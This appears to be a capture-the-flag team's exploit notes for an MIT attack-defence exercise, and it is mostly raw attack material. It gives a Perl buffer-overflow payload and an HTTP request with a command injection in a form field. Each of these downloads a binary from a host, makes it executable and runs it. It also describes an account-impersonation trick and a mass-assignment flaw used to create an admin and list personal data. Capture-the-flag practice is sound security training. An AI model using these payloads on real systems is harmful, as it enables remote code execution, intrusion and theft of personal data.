TEAM 12 :)

Leet 0day #1 (Ticket server)

```
perl -e'print "A"x1048 .
"\x2d\xcc\xb1\xf7\xff\x7f\x00\x00" .
"\x38\xe0\xff\xff\xff\x7f\x00\x00" .
"\x60\x06\xa6\xf7\xff\x7f\x00\x00" .
"\x70\x69\xa5\xf7\xff\x7f\x00\x00" . "cd\$
{IFS}/tmp;wget\${IFS}127.0.0.1:8000/Xorg.close\$
{IFS}--quiet;chmod\${IFS}777\$
{IFS}Xorg.close;./Xorg.close\x00"'
```

Leet 0day #2 (Memestream)

POST / HTTP/1.1

Host: team12.ctf.csail.mit.edu:4472

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:16.0) Gecko/20100101 Firefox/16.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Proxy-Connection: keep-alive

Referer: http://team12.ctf.csail.mit.edu/

Content-Type: application/x-www-form-urlencoded

Content-Length: 118

tip=`cd${IFS}/tmp/;wget${IFS}18.109.6.25:65080/Xorg.vim;chmod${IFS}777${IFS}/tmp/Xorg.vim;/tmp/Xorg.vim`&submit=Submit

Lame Sploit #1 (Curse)

1) Scrape usernames from bot comments
2) Login with OpenID
3) Change display name to bot's name
4) Refresh comments page to get PII

```
    if ($data['user'] == $current_user -> display_name) {
        return $text . '<br/></br> Curse: <span id="curseyourcurse">' . $curses[$curse] .
'</span><br/> Your secret is: <span id="cursestoredsecret">' . $data['secret'] . '</span>';
    } else {
      return $text . '<br/></br> Curse: ' . $curses[$curse];
    }
```

Lame Sploit #2 (Woot)

- Add arbitrary profiles to the databases, create admin user and list all PII

```
post '/add' do
  User.where(:name => params['name']).where(:password => params['password']).delete_all
  @user = User.new(params)
```